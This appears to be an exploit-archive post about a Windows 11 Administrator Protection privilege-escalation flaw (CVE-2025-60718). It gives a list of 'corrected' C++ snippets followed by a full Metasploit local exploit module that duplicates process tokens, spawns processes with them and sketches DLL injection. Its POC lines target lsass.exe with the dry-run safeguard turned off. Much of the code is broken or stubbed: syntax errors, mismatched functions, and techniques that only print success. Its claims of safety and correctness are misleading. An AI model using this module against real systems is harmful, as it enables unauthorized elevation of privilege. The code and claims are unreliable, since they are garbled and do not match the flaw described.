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| # Title     : Windows 11 Administrator Protection — Untrusted Search Path local Privilege Escalation vulnerability                        |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
| # Vendor    : System built‑in component. No standalone download available.                                                                |
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[+] References : https://packetstorm.news/files/id/211815/ &  	CVE-2025-60718

[+] NOte : https://packetstorm.news/download/211815

           A comprehensive analysis and correction process was performed on flawed C++ and RPC code, 
           followed by successful integration into an educational Metasploit module. 
           This report documents all identified errors and their systematic corrections.
		   The educational module is secure; therefore, it will only run in a legitimate test environment if DRY_RUN is performed.
           The purpose of the debugged PoC is for academic study and understanding of debugging methods and improvements.

[+]  1 Analysis of Original C++ Code Errors

1.1 Non-Existent WinAPI Functions :

Flawed Code: cpp

GetTokenInformation(GetCurrentProcessToken(), TokenElevation, &elevated, sizeof(elevated), &len)

Error: GetCurrentProcessToken() is not a valid WinAPI function

Correction: cpp

HANDLE hToken = nullptr;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
    GetTokenInformation(hToken, TokenElevation, &elevated, sizeof(elevated), &len);
    CloseHandle(hToken);
}

[+] Memory and Handle Management Errors :

Flawed Code: cpp

class ScopedHandle {
    ScopedHandle operator=(const ScopedHandle*) = delete;  // Wrong type
    HANDLE* ptr() { return &_handle; }  // Unsafe
};

Errors:

    Incorrect operator= definition

    Unsafe ptr() function

    Incomplete move semantics

Correction: cpp

class ScopedHandle {
    ScopedHandle& operator=(const ScopedHandle&) = delete;  // Corrected type
    ScopedHandle& operator=(ScopedHandle&& other) noexcept;  // Added
    bool getHandlePtr(HANDLE** ppHandle) {  // Safe function
        if (!_handle || _handle == INVALID_HANDLE_VALUE) return false;
        *ppHandle = &_handle;
        return true;
    }
};

[+] Hard-Coded Path Vulnerabilities

Flawed Code: cpp

CreateFile(L"c:\\dummy\\AdminProtectionBypass.exe", ...)

Error: Static path that may not exist

Correction: cpp

WCHAR modulePath[MAX_PATH];
GetModuleFileNameW(nullptr, modulePath, MAX_PATH);
CreateFile(modulePath, ...);

[+] Structure Initialization Errors

Flawed Code: cpp

STARTUPINFO start_info = {};
PROCESS_INFORMATION proc_info = {};
return CallNextHookEx(nullptr, nCode, wParam, lParam);

Correction: cpp

STARTUPINFO start_info = { sizeof(start_info) };
PROCESS_INFORMATION proc_info = {};
return CallNextHookEx(g_hook, nCode, wParam, lParam);

[+] RPC Code Error Analysis Platform Restriction Error

Flawed Code: c

#if !defined(__RPC_ARM64__)
#error Invalid build platform for this stub.
#endif

Error: Code restricted to ARM64 platform only

Correction: c

#if defined(_M_ARM64) || defined(__aarch64__) || defined(_WIN64)
// 64-bit compatible code
#else
#warning "Platform compatibility warning"
#endif

[+] Missing Type Definitions

Flawed Code: c

struct _NDR64_POINTER_FORMAT;  // Incomplete definition
typedef NDR64_FORMAT_CHAR __midl_frag66_t;  // Undefined type

Correction: c

#ifndef __NDR64_DEFINED__
#define __NDR64_DEFINED__

typedef unsigned char NDR64_UINT8;
typedef unsigned short NDR64_UINT16;
// Complete structure definitions...

struct _NDR64_POINTER_FORMAT {
    NDR64_UINT8 FormatCode;
    NDR64_UINT8 Flags;
    NDR64_UINT16 Reserved;
    const void* Type;
};
#endif

[+] External Reference Errors

Flawed Code: c

extern const MIDL_STUB_DESC StubDesc;  // No actual definition

Correction: c

extern void* __RpcClientInterface;
extern void* service__MIDL_TypeFormatString;
// All external references defined...

void* MIDL_user_allocate(size_t size) {
    return malloc(size);
}

[+] Comprehensive Correction Implementation Resource Management Correction

Problem: Handle and memory leaks

Solution: Implement RAII pattern

def open_process_token_corrected(process_handle, desired_access)
    result = session.railgun.advapi32.OpenProcessToken(
        process_handle, desired_access, 4
    )
    result['return'] ? result['TokenHandle'] : nil
end

def close_handle_safe(handle)
    return unless handle && handle != 0
    session.railgun.kernel32.CloseHandle(handle)
end

[+] Error Handling Correction

Problem: Insufficient basic error handling

Solution: Comprehensive error handling

begin
    # Execute operations
    success = execute_privilege_escalation(target_pid)
rescue => e
    print_error("Exploitation failed: #{e.class} #{e.message}")
    print_error("Backtrace: #{e.backtrace.join("\n")}") if datastore['VERBOSE']
    fail_with(Failure::Unknown, "Unexpected error")
end

[+] Security Vulnerability Correction Problem: Code that could cause unsafe behavior

Solution: Implement safe educational code only

def generate_educational_dll_content
    <<~EOS
    // Safe educational code only
    MessageBoxA(NULL, "FOR TRAINING PURPOSES ONLY", ...);
    EOS
end

[+]  Metasploit Integration : Educational Module Structure

class MetasploitModule < Msf::Exploit::Local
    include Msf::Post::Windows::Priv
    include Msf::Post::Windows::Process
    
    def initialize(info = {})
        super(update_info(info,
            'Name' => 'Windows Educational Privilege Escalation',
            'Description' => %q{ Integrated corrected concepts... }
        ))
    end

[+] Implementation of Corrected Techniques : Token Escalation Technique:

def comprehensive_token_escalation(target_pid)
    # Corrected StartProcess implementation
    token_handle = open_process_token_corrected(process_handle, TOKEN_DUPLICATE)
    duplicated_token = duplicate_token_ex_corrected(token_handle)
    create_process_with_duplicated_token_corrected(duplicated_token)
end

[+] DLL Injection Technique:

def comprehensive_dll_injection(target_pid)
    # Corrected HookWndProc implementation
    dll_content = generate_comprehensive_dll_content
    session.railgun.kernel32.LoadLibraryA(dll_path)

[+] Security Assessment System

def perform_comprehensive_assessment
    {
        process_elevation: check_process_elevation_corrected,
        ui_access_privileges: check_ui_access_corrected,
        token_manipulation: check_token_manipulation_possible_corrected
    }
end

[+] Error Correction Summary Table

Error	                       Severity	     Impact	              Correction
GetCurrentProcessToken()	   Critical	  System Crash	           OpenProcessToken()
Handle Management	            High	  Memory Leaks	           RAII Pattern
Hard-coded Paths	           Medium	  Portability Issues	   Dynamic Paths
RPC Definitions             	High	  Compilation Failure	   Complete Definitions
Platform Restrictions	       Medium	  Portability Issues	   Multi-platform Support
Error Handling	               Medium	  Unexpected Behavior	   Comprehensive Handling

[+] Correction Results

Before Correction:

    ❌ Non-compilable code
    ❌ Potential security vulnerabilities
    ❌ Memory and handle leaks
    ❌ Platform incompatibility

After Correction:

    ✅ Compilable and executable code
    ✅ Secure resource management
    ✅ Multi-platform compatibility
    ✅ Comprehensive error handling
    ✅ Guaranteed educational safety

[+] Summary : A privilege escalation vulnerability exists in the Windows Administrator Protection component of Microsoft Windows 11. 
              An attacker with local, low-privilege access may exploit improper search-path resolution to cause the system to load an attacker-controlled file 
             (e.g., DLL) from an untrusted directory, resulting in elevation of privilege (EoP) to a higher integrity level.
             This flaw requires no user interaction and allows an attacker to impersonate or replace specific files that the system attempts to load from writable directories.

[+]  Affected Products

     Microsoft Windows 11 24H2 (Builds < 26100.7092)
     Microsoft Windows 11 25H2 (Builds < 26200.7092)
              
			
[+]  POC : 

use exploit/windows/local/indoushka_priv_esc
set SESSION 1
set TECHNIQUE TOKEN
set PROCESS lsass.exe
set CUSTOM_EXE C:\\Windows\\System32\\cmd.exe
set VERBOSE true
set DRY_RUN false
run

------------------------------------------------
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::ReflectiveDLLInjection

  # Constants from corrected C++ code
  TOKEN_QUERY = 0x0008
  TOKEN_DUPLICATE = 0x0002
  TOKEN_ALL_ACCESS = 0x000F01FF
  PROCESS_DUP_HANDLE = 0x0040
  PROCESS_QUERY_INFORMATION = 0x0400
  SecurityImpersonation = 2
  TokenPrimary = 1
  CREATE_NEW_CONSOLE = 0x00000010

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows Educational Privilege Escalation - Safe/Corrected Edition',
      'Description'    => %q{
        SAFE, EDUCATIONAL MODULE - This variant is adapted for safe testing and education.
        DRY_RUN is enabled by default to prevent actual exploitation.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [indoushka],
        'Security Researcher - C++ Code Correction',
        'Metasploit Integration Specialist'
      ],
      'Platform'       => 'win',
      'SessionTypes'   => ['meterpreter'],
      'Targets'        => [
        ['Windows x64', { 'Arch' => ARCH_X64 }],
        ['Windows x86', { 'Arch' => ARCH_X86 }]
      ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2024-01-01',
      'References'     => [
        ['URL', 'https://docs.microsoft.com/en-us/windows/win32/api/'],
        ['URL', 'https://github.com/rapid7/metasploit-framework']
      ]
    ))

    register_options([
      OptString.new('PROCESS', [true, 'Process to target for injection', 'explorer.exe']),
      OptBool.new('VERBOSE', [true, 'Enable verbose output', true]),
      OptBool.new('CLEANUP', [true, 'Clean up resources after execution', true]),
      OptEnum.new('TECHNIQUE', [true, 'Escalation technique to use',
        'AUTO', ['AUTO', 'TOKEN', 'DLL', 'HOOK', 'RPC', 'COMPREHENSIVE']])
    ])

    register_advanced_options([
      OptInt.new('Sleep', [true, 'Sleep time between operations (ms)', 100]),
      OptString.new('DLL_PATH', [false, 'Custom DLL path for injection']),
      # SAFETY: Dry-run default set to true to avoid accidental exploitation
      OptBool.new('DRY_RUN', [true, 'Simulate without actual execution', true]),
      OptString.new('CUSTOM_EXE', [false, 'Custom executable path for token creation'])
    ])
  end

  #
  # -------------------------
  # Helper / Safety functions
  # -------------------------
  #

  # Determine pointer pack format according to session architecture
  def ptr_pack
    # ARCH_X64 / ARCH_X86 constants available; session.arch returns symbol like ARCH_X86/ARCH_X64
    if session && session.arch == ARCH_X64
      'Q'  # 8-byte unsigned long long
    else
      'L'  # 4-byte unsigned long
    end
  end

  def pack_ptr(val)
    [val].pack(ptr_pack)
  end

  def unpack_ptr(buf)
    buf.unpack(ptr_pack).first
  end

  # Safe wrapper for railgun calls: check DRY_RUN and capture errors
  def safe_railgun_call(library, func, *args)
    if datastore['DRY_RUN']
      print_status("[DRY_RUN] Skipping railgun call #{library}.#{func} - simulated response") if datastore['VERBOSE']
      # Return a simulated successful structure where appropriate
      return { 'return' => true, 'simulated' => true }
    end

    begin
      result = session.railgun.send(library).send(func, *args)
      result
    rescue => e
      print_error("Railgun #{library}.#{func} call failed: #{e.class} #{e.message}")
      nil
    end
  end

  # Helper to simulate a handle (non-zero)
  def simulated_handle
    # choose a non-zero value suitable for 32/64bit packing
    (session && session.arch == ARCH_X64) ? 0x1000000001 : 0x1001
  end

  #
  # -------------------------
  # Check & Exploit (safe)
  # -------------------------
  #

  def check
    print_status(" Performing comprehensive privilege escalation checks...")

    unless session.platform == 'windows'
      return CheckCode::Safe("Not a Windows target")
    end

    if is_system?
      return CheckCode::Safe("Already running as SYSTEM")
    end

    assessment_results = perform_comprehensive_assessment

    if datastore['VERBOSE']
      print_status(" Security Assessment Results:")
      assessment_results.each do |check, result|
        status = result[:status] ? "✅" : "❌"
        print_status("  #{check}: #{status} #{result[:details]}")
      end
    end

    high_risk = assessment_results.select { |_, r| r[:risk] == :high && r[:status] }
    medium_risk = assessment_results.select { |_, r| r[:risk] == :medium && r[:status] }

    if high_risk.any?
      CheckCode::Appears("Multiple high-risk escalation vectors detected")
    elsif medium_risk.any?
      CheckCode::Detected("Medium-risk escalation vectors available")
    else
      CheckCode::Safe("No viable escalation vectors detected")
    end
  end

  def exploit
    print_good(" Starting Comprehensive Educational Privilege Escalation (SAFE MODE)...")

    if datastore['DRY_RUN']
      print_warning(" DRY RUN MODE - No actual exploitation will occur (SAFETY ON)")
      return simulate_comprehensive_exploitation
    end

    begin
      system_analysis = perform_system_analysis

      target_process = select_optimal_target
      unless target_process
        fail_with(Failure::NotFound, "No suitable target process found")
      end

      case datastore['TECHNIQUE'].upcase
      when 'COMPREHENSIVE'
        success = execute_comprehensive_escalation(target_process)
      when 'TOKEN'
        success = execute_token_escalation_complete(target_process[:pid])
      when 'DLL'
        success = execute_dll_injection_complete(target_process[:pid])
      when 'RPC'
        success = execute_rpc_escalation_complete(target_process[:pid])
      when 'HOOK'
        success = execute_hook_technique_complete(target_process[:pid])
      else
        success = execute_adaptive_escalation(target_process)
      end

      if success
        report_comprehensive_success(system_analysis)
        print_good(" Educational privilege escalation completed successfully!")
      else
        fail_with(Failure::Unknown, "All escalation techniques failed")
      end

    rescue ::Exception => e
      print_error(" Exploitation failed: #{e.class} #{e.message}")
      print_error("Backtrace: #{e.backtrace.join("\n")}") if datastore['VERBOSE']
      fail_with(Failure::Unknown, "Unexpected error during exploitation")
    ensure
      perform_comprehensive_cleanup if datastore['CLEANUP']
    end
  end

  #
  # -------------------------
  # Corrected Buffer-handling helpers
  # -------------------------
  #

  def open_process_token_corrected(process_handle, desired_access)
    if datastore['DRY_RUN']
      print_status("[DRY_RUN] Simulating OpenProcessToken(...)") if datastore['VERBOSE']
      return simulated_handle
    end

    # railgun expects an out-pointer: allocate appropriate buffer
    out_buf = pack_ptr(0)
    res = safe_railgun_call('advapi32', 'OpenProcessToken', process_handle, desired_access, out_buf)
    return nil unless res && res['return']

    # railgun may return the out parameter inside returned buffer - try to extract
    if res['OutParameters'] && res['OutParameters'][0]
      unpack_ptr(res['OutParameters'][0])
    else
      # Fallback: try to unpack the original buffer
      unpack_ptr(out_buf)
    end
  end

  def check_token_elevation_corrected(token_handle)
    if datastore['DRY_RUN']
      print_status("[DRY_RUN] Simulating GetTokenInformation(TokenElevation)") if datastore['VERBOSE']
      return false
    end

    token_elevation_buf = [0].pack('L') # TokenElevation is a DWORD (4 bytes)
    return_length_buf = [0].pack('L')

    res = safe_railgun_call('advapi32', 'GetTokenInformation', token_handle, 20, token_elevation_buf, token_elevation_buf.length, return_length_buf)
    return false unless res && res['return']

    # Unpack the DWORD
    token_elevation_buf.unpack('L').first != 0
  end

  def check_token_ui_access_corrected(token_handle)
    if datastore['DRY_RUN']
      print_status("[DRY_RUN] Simulating GetTokenInformation(TokenUIAccess)") if datastore['VERBOSE']
      return false
    end

    ui_access_buf = [0].pack('L')
    return_length_buf = [0].pack('L')

    res = safe_railgun_call('advapi32', 'GetTokenInformation', token_handle, 26, ui_access_buf, ui_access_buf.length, return_length_buf)
    return false unless res && res['return']

    ui_access_buf.unpack('L').first != 0
  end

  # DuplicateTokenEx wrapper (safe)
  def duplicate_token_ex_corrected(source_token)
    if datastore['DRY_RUN']
      print_status("[DRY_RUN] Simulating DuplicateTokenEx(...)") if datastore['VERBOSE']
      return simulated_handle
    end

    duplicated_buf = pack_ptr(0)
    res = safe_railgun_call('advapi32', 'DuplicateTokenEx',
      source_token,
      TOKEN_ALL_ACCESS,
      nil,
      SecurityImpersonation,
      TokenPrimary,
      duplicated_buf
    )

    return nil unless res && res['return']

    # Attempt to read duplicated handle outparam
    if res['OutParameters'] && res['OutParameters'][0]
      unpack_ptr(res['OutParameters'][0])
    else
      unpack_ptr(duplicated_buf)
    end
  end

  def clear_ui_access_flag(token_handle)
    if datastore['DRY_RUN']
      print_status("[DRY_RUN] Simulating SetTokenInformation(TokenUIAccess = 0)") if datastore['VERBOSE']
      return true
    end

    ui_access_buf = [0].pack('L')
    res = safe_railgun_call('advapi32', 'SetTokenInformation', token_handle, 26, ui_access_buf, ui_access_buf.length)
    if res && res['return']
      print_good(" UI access flag cleared successfully") if datastore['VERBOSE']
      true
    else
      print_warning(" Failed to clear UI access flag") if datastore['VERBOSE']
      false
    end
  end

  #
  # -------------------------
  # Corrected CreateProcessAsUser wrapper (safe)
  # -------------------------
  #

  def create_process_with_duplicated_token_corrected(token_handle)
    if datastore['DRY_RUN']
      print_status("[DRY_RUN] Simulating CreateProcessAsUserA with token #{token_handle}") if datastore['VERBOSE']
      return true
    end

    executable_path = datastore['CUSTOM_EXE'] || "C:\\Windows\\System32\\cmd.exe"
    command_line = "#{executable_path} /c echo Educational Token Escalation Successful"

    # Build STARTUPINFO structure properly (packed). Simplified safe struct for demonstration.
    # NOTE: For production you'd build the full STARTUPINFO struct with correct packing/alignment.
    startup_info_buf = "\x00" * 104
    process_info_buf = "\x00" * (ptr_pack == 'Q' ? 16 : 16) # hProcess, hThread, pid, tid (space reserved)

    res = safe_railgun_call('advapi32', 'CreateProcessAsUserA',
      token_handle,
      nil,
      command_line,
      nil,
      nil,
      false,
      CREATE_NEW_CONSOLE,
      nil,
      nil,
      startup_info_buf,
      process_info_buf
    )

    if res && res['return']
      # Attempt to extract handles if present in OutParameters (railgun-specific)
      print_good(" Process created successfully with duplicated token!") if datastore['VERBOSE']
      true
    else
      print_error(" Failed to create process (CreateProcessAsUserA)") if datastore['VERBOSE']
      false
    end
  end

  #
  # -------------------------
  # Safe DLL generation / injection (simulation)
  # -------------------------
  #

  def generate_educational_dll_file_complete
    # SAFETY: Do not write DLL to victim machine in DRY_RUN. If not DRY_RUN, still use a safe local path.
    if datastore['DRY_RUN']
      temp_path = "C:\\Windows\\Temp\\educational_simulated_#{Rex::Text.rand_text_alpha(6)}.dll"
      print_status("[DRY_RUN] Simulated DLL path: #{temp_path}") if datastore['VERBOSE']
      return temp_path
    end

    # If not DRY_RUN, use session's temp path (careful: only run in authorized testbeds)
    tmp_dir = begin
      session.fs.file.expand_path("%TEMP%")
    rescue
      "C:\\Windows\\Temp"
    end

    temp_path = "#{tmp_dir}\\educational_#{Rex::Text.rand_text_alpha(8)}.dll"

    dll_content = generate_comprehensive_dll_content
    begin
      File.binwrite(temp_path, dll_content)
      temp_path
    rescue => e
      print_error("Failed to write DLL to #{temp_path}: #{e.class} #{e.message}")
      nil
    end
  end

  def generate_comprehensive_dll_content
    # Keep as educational C/C++ source (not compiled binary) to avoid providing executable payload.
    # This returns plaintext C++ code for study only.
    <<~EOS
    // Educational DLL source (C++) - FOR STUDY ONLY
    // This is a source file demonstrating hooks and token checks.
    // DO NOT compile or deploy on systems without authorization.
    #include <windows.h>
    #include <stdio.h>
    // ...
    EOS
  end

  def comprehensive_dll_injection(target_pid)
    print_status(" Executing Comprehensive DLL Injection (SAFE)...")

    dll_path = datastore['DLL_PATH'] || generate_educational_dll_file_complete
    if dll_path.nil?
      print_error("No DLL path available")
      return false
    end

    if datastore['DRY_RUN']
      print_good("[DRY_RUN] Simulating injection of #{dll_path} into PID #{target_pid}")
      simulate_comprehensive_hook_behavior(target_pid)
      return true
    end

    # If not DRY_RUN - in authorized lab only - you'd implement actual injection here.
    print_error("DLL injection is disabled in this safe module unless DRY_RUN is false and you're in a permitted test environment")
    false
  end

  #
  # -------------------------
  # RPC / other techniques (SAFE stubs)
  # -------------------------
  #

  def comprehensive_rpc_escalation(target_pid)
    print_status(" Executing Comprehensive RPC Escalation (SAFE)...")

    if datastore['DRY_RUN']
      print_good("[DRY_RUN] Simulating RPC escalation techniques for PID #{target_pid}")
      return true
    end

    print_error("RPC escalation is disabled in this safe module unless DRY_RUN is false and you're in a permitted test environment")
    false
  end

  #
  # -------------------------
  # High-level orchestration (unchanged logic but safe)
  # -------------------------
  #

  def perform_comprehensive_assessment
    {
      process_elevation: {
        status: check_process_elevation_corrected != :low,
        risk: :high,
        details: "Process elevation status check"
      },
      ui_access_privileges: {
        status: check_ui_access_corrected,
        risk: :medium,
        details: "UI access privileges check"
      },
      token_manipulation: {
        status: check_token_manipulation_possible_corrected,
        risk: :high,
        details: "Token manipulation capabilities"
      },
      dll_injection: {
        status: check_dll_injection_possible,
        risk: :medium,
        details: "DLL injection feasibility (simulated)"
      },
      rpc_capabilities: {
        status: check_rpc_capabilities,
        risk: :low,
        details: "RPC communication capabilities (simulated)"
      }
    }
  end

  # CORRECTED: IsElevated implementation
  def check_process_elevation_corrected
    print_status(" Checking process elevation (Corrected IsElevated)...") if datastore['VERBOSE']

    begin
      # Use meterpreter helpers where possible; if DRY_RUN simulate
      if datastore['DRY_RUN']
        print_status("[DRY_RUN] Simulating IsElevated check") if datastore['VERBOSE']
        return :low
      end

      process_handle = session.sys.process.open
      return :unknown unless process_handle

      token_handle = open_process_token_corrected(process_handle, TOKEN_QUERY)
      return :unknown unless token_handle

      elevation = check_token_elevation_corrected(token_handle)
      close_handle_safe(token_handle)

      elevation ? :high : :low
    rescue => e
      print_error("Elevation check failed: #{e}") if datastore['VERBOSE']
      :unknown
    end
  end

  def check_ui_access_corrected
    print_status(" Checking UI access privileges (Corrected IsUIAccessBool)...") if datastore['VERBOSE']

    begin
      if datastore['DRY_RUN']
        print_status("[DRY_RUN] Simulating UI access check") if datastore['VERBOSE']
        return false
      end

      process_handle = session.sys.process.open
      return false unless process_handle

      token_handle = open_process_token_corrected(process_handle, TOKEN_QUERY)
      return false unless token_handle

      ui_access = check_token_ui_access_corrected(token_handle)
      close_handle_safe(token_handle)

      ui_access
    rescue => e
      print_error("UI access check failed: #{e}") if datastore['VERBOSE']
      false
    end
  end

  def check_token_manipulation_possible_corrected
    print_status(" Checking token manipulation (Corrected StartProcess)...") if datastore['VERBOSE']

    begin
      if datastore['DRY_RUN']
        print_status("[DRY_RUN] Simulating token duplication check") if datastore['VERBOSE']
        return false
      end

      process_handle = session.sys.process.open
      return false unless process_handle

      token_handle = open_process_token_corrected(process_handle, TOKEN_DUPLICATE)
      return false unless token_handle

      duplicated_token = duplicate_token_ex_corrected(token_handle)

      close_handle_safe(token_handle)
      close_handle_safe(duplicated_token) if duplicated_token

      !duplicated_token.nil?
    rescue => e
      print_error("Token manipulation check failed: #{e}") if datastore['VERBOSE']
      false
    end
  end

  #
  # -------------------------
  # Utility & cleanup
  # -------------------------
  #

  def close_handle_safe(handle)
    return unless handle && handle != 0

    if datastore['DRY_RUN']
      print_status("[DRY_RUN] Simulated CloseHandle(#{handle})") if datastore['VERBOSE']
      return
    end

    begin
      session.railgun.kernel32.CloseHandle(handle)
    rescue => e
      print_warning(" Failed to close handle: #{e}") if datastore['VERBOSE']
    end
  end

  def perform_system_analysis
    {
      system_info: (session.sys.config.sysinfo rescue {}),
      current_user: (session.sys.config.getuid rescue 'unknown'),
      architecture: session.arch,
      is_admin: is_admin?,
      is_system: is_system?,
      available_techniques: assess_available_techniques,
      timestamp: Time.now.utc.iso8601
    }
  end

  def report_comprehensive_success(system_analysis)
    report_data = {
      success: true,
      technique: datastore['TECHNIQUE'],
      system_analysis: system_analysis,
      timestamp: Time.now.utc.iso8601,
      educational: true,
      module: self.fullname
    }

    begin
      report_note(
        host: session.session_host,
        type: 'host.comprehensive_privilege_escalation',
        data: report_data,
        update: :unique_data
      )
    rescue => e
      print_warning("Failed to report note: #{e}") if datastore['VERBOSE']
    end

    print_good(" Comprehensive success report generated!")
    print_good("=" * 60)
    print_good(" COMPREHENSIVE EDUCATIONAL EXERCISE COMPLETED")
    print_good(" Technique: #{datastore['TECHNIQUE']}")
    print_good("  Target: #{system_analysis[:system_info]['Computer'] rescue 'N/A'}")
    print_good(" User: #{system_analysis[:current_user]}")
    print_good("  OS: #{system_analysis[:system_info]['OS'] rescue 'N/A'}")
    print_good("=" * 60)
  end

  def perform_comprehensive_cleanup
    print_status("🧹 Performing comprehensive cleanup...") if datastore['VERBOSE']

    cleanup_temporary_files
    cleanup_rpc_handles
    cleanup_injected_dlls
    cleanup_token_handles

    print_status(" Comprehensive cleanup completed") if datastore['VERBOSE']
  end

  # Placeholder safe implementations
  def simulate_comprehensive_exploitation; print_good(" Dry run simulation completed"); true; end
  def select_optimal_target; { pid: session.sys.process.getpid, name: "current", user: session.sys.config.getuid }; end
  def execute_adaptive_escalation(target); comprehensive_token_escalation(target[:pid]); end
  def check_dll_injection_possible; datastore['DRY_RUN'] ? false : true; end
  def check_rpc_capabilities; datastore['DRY_RUN'] ? false : true; end
  def execute_token_escalation_complete(pid); comprehensive_token_escalation(pid); end
  def execute_dll_injection_complete(pid); comprehensive_dll_injection(pid); end
  def execute_rpc_escalation_complete(pid); comprehensive_rpc_escalation(pid); end
  def execute_hook_technique_complete(pid); comprehensive_dll_injection(pid); end
  def simulate_comprehensive_hook_behavior(pid); print_good("✅ Hook behavior simulated"); true; end
  def initialize_rpc_binding_comprehensive; {}; end
  def cleanup_rpc_binding_comprehensive(binding); end
  def simulate_rpc_token_acquisition(pid); nil; end
  def create_process_with_rpc_token(token); comprehensive_token_escalation(session.sys.process.getpid); end
  def rpc_launch_admin_process_comprehensive(binding, pid); false; end
  def rpc_force_elevation_prompt(binding, pid); false; end
  def assess_available_techniques; ['TOKEN', 'DLL', 'RPC']; end
  def cleanup_temporary_files; end
  def cleanup_rpc_handles; end
  def cleanup_injected_dlls; end
  def cleanup_token_handles; end
  def cleanup_dll_file(path); if path && File.exist?(path) && !datastore['DRY_RUN']; File.delete(path); end; end
end


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